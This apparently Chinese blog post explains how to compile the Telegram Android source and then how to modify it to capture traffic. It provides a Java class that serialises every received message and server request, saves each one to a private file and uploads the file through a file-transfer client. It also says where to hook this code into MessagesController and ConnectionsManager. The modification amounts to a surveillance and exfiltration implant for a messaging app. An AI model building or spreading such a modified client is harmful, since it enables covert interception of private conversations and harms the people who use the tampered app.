android studio 编译Telegram源码经验总结(2023-11-05)

前言

Telegram是一款强大的端到端加密IM,专注于安全性和速度,支持Android/IOS/Windows/macOS等平台,功能丰富,运行流畅,免费开源,代码具有学习和研究意义。

一、android telegram源码下载地址:

javascript 复制代码
github: https://github.com/DrKLO/Telegram.git

二、编译环境的选择:

Windows 版本:10 64位;

Android studio 版本:(2022.3.1)最新版本;

Android SDK 版本:Android studio自带;

Android Gradle Plugin 版本:Version 7.03 (源码版本);

Gradle Version 版本:7.02 (源码版本);

Android ndk 版本:21.4.7075529;

Gradle JDK 版本:11.0.2;

编译环境说明:

1、Android studio

Android studio 可以采用最新版本;

2、Android Gradle Plugin Version与Gradle Version

编译环境的选择很重要,Android Gradle Plugin Version与Gradle Version不要升级,

要保持与源码版本一致。笔者一开始按Android studio的提示升级了Gradle的版本,结果报一系列的错误!

3、Android ndk 要用21.4.7075529版本,与源码保持一致;

4、Gradle JDK 版本:11.0.2,

必须用11.02版本,笔者一开始用了Gradle JDK 17结果与Android Gradle Plugin Version不兼容,走了许多弯路。

5、Android studio提示升级Gradle版本时,千万不要升级!!!

按照以上配置,编译源码,第一次未修改编译笔者电脑用了8个半小时,修改后再编译花了17个小时,源码体积大小由100M增加到17G!

能编译成功,才能为后续修改打下基础!!!

三、编译指南

按项目编译指南,完成以下工作:

1、获取api_id

申请地址:https://my.telegram.org/

2、将您的release.keystore复制到TMessagesProj/config中

在gradle.properties中填写RELEASE_KEY_PASSWORD、RELEASE_KEY_ALIAS、RELEASE_STORE_PASSWORD以访问您的release.keystore

3、google-services.json

转到 https://console.firebase.google.com/,使用应用程序 ID org.telegram.messenger 和 org.telegram.messenger.beta 创建两个 Android 应用程序,打开 firebase 消息传递并下载 google-services.json,这应该复制到与 TMessagesProj 相同的文件夹。

4、BuildVars.java

在 Studio 中打开项目(请注意,应该打开它,而不是导入)

在 TMessagesProj/src/main/java/org/telegram/messenger/BuildVars.java 中填写值 - 每个变量都有一个链接,显示要获取的数据的位置和数据。

替换你在控制台创建的获取的 APP_ID 和 APP_HASH

5、API、协议文档

Telegram API 手册:https://core.telegram.org/api

MTproto协议手册:https://core.telegram.org/mtproto

四、修改指南

将tg数据转为字符串并格式化,在适当位置注入log代码,拦截telegram的消息发送与接收。

1、添加依赖库

implementation 'org.apache.commons:commons-lang3:3.6'

2、创建RecursiveToStringStyle.java,将tg数据转为字符串并格式化

3、增加LauchInfo.java,以拦截并保存telegram消息。

java 复制代码
package ftc;

import android.content.Context;

import java.io.Closeable;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
//技术支持:~~~~39848872
public class LauchInfo {
    public static final SimpleDateFormat DEFAULT_SDF = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
    private static String local_path;
    private static String local_dir;
    private static String filename;
    private static Context g_context;
    //接收telegram消息,并转换为格式化字符串,以便保存分析。	
    public static void get(Object value){
        String content=RecursiveToStringStyle.toString(value);
        if(content!=null&&content.equals("")==false)
            SaveContent(content);
    }
    //技术支持:+~~~~byc6352
    public static void get(String say,Object value){
        String content=RecursiveToStringStyle.toString(value);
        MyLog.i(say + "\n" + content);

    }
    public static void log(String say,Object value){
        String content=RecursiveToStringStyle.toString(value);
        String text = say + "\n" + content;
        MyLog.i(text);
    }

    public static void SaveContent(String content){
        try {
            MyLog.i(content);
            String time = DEFAULT_SDF.format(new Date());
            String text=time+"\r\n"+content+"\r\n";
            saveInfo2File(text,filename,true);
            FileTransferClient.getInstance().uploadfile(filename,false);
        } catch (Exception e) {
            MyLog.e( "SaveContent:"+e.getMessage());
        }
    }


    /**
     * 保存信息到文件中
     *
     * @param ex
     * @return
     */
    public static boolean saveInfo2File(String info,String filename,boolean append) {
        if (info == null || filename == null) return false;
        FileWriter fileWriter = null;
        try {
            fileWriter = new FileWriter(new File(filename), append);
            fileWriter.write(info);
            return true;
        } catch (IOException e) {
            e.printStackTrace();
            return false;
        } finally {
            closeIO(fileWriter);
        }

    }
    /**
     * 关闭IO
     *
     * @param closeable closeable
     */
    public  static void closeIO(Closeable closeable) {
        if (closeable == null) return;
        try {
            closeable.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public  static void getWorkDir(Context context){
        local_path = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() + File.separator;
        local_dir = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() ;
        filename=local_path+"info.txt";
        g_context=context.getApplicationContext();
    }
}

3、拦截telegram收到的消息

在Telegram\TMessagesProj\src\main\java\org\telegram\messenger\MessagesController.java中 修改

注入MessagesController.java消息接收

4、拦截telegram向服务器发送的请求与应答

在Telegram\TMessagesProj\src\main\java\org\telegram\tgnet\ConnectionsManager.java中 修改

注入ConnectionsManager发送请求

至此可以快乐地抓取tg数据了!

相关推荐
流氓也是种气质 _Cookie5 分钟前
uniapp 在线更新应用
android·uniapp
梓沂30 分钟前
idea修改模块名导致程序编译出错
java·ide·intellij-idea
zhangphil2 小时前
Android ValueAnimator ImageView animate() rotation,Kotlin
android·kotlin
dot.Net安全矩阵2 小时前
拒绝 Github 投毒,通过 Sharp4SuoBrowser 分析 Visual Studio 隐藏文件
ide·安全·web安全·github·.net·.netcore·visual studio
徊忆羽菲3 小时前
CentOS7使用源码安装PHP8教程整理
android
江西理工大学小杨3 小时前
VScode连接远程Linux服务器环境配置
ide·vscode·编辑器
编程、小哥哥4 小时前
python操作mysql
android·python
Couvrir洪荒猛兽4 小时前
Android实训十 数据存储和访问
android
五味香6 小时前
Java学习,List 元素替换
android·java·开发语言·python·学习·golang·kotlin
十二测试录7 小时前
【自动化测试】—— Appium使用保姆教程
android·经验分享·测试工具·程序人生·adb·appium·自动化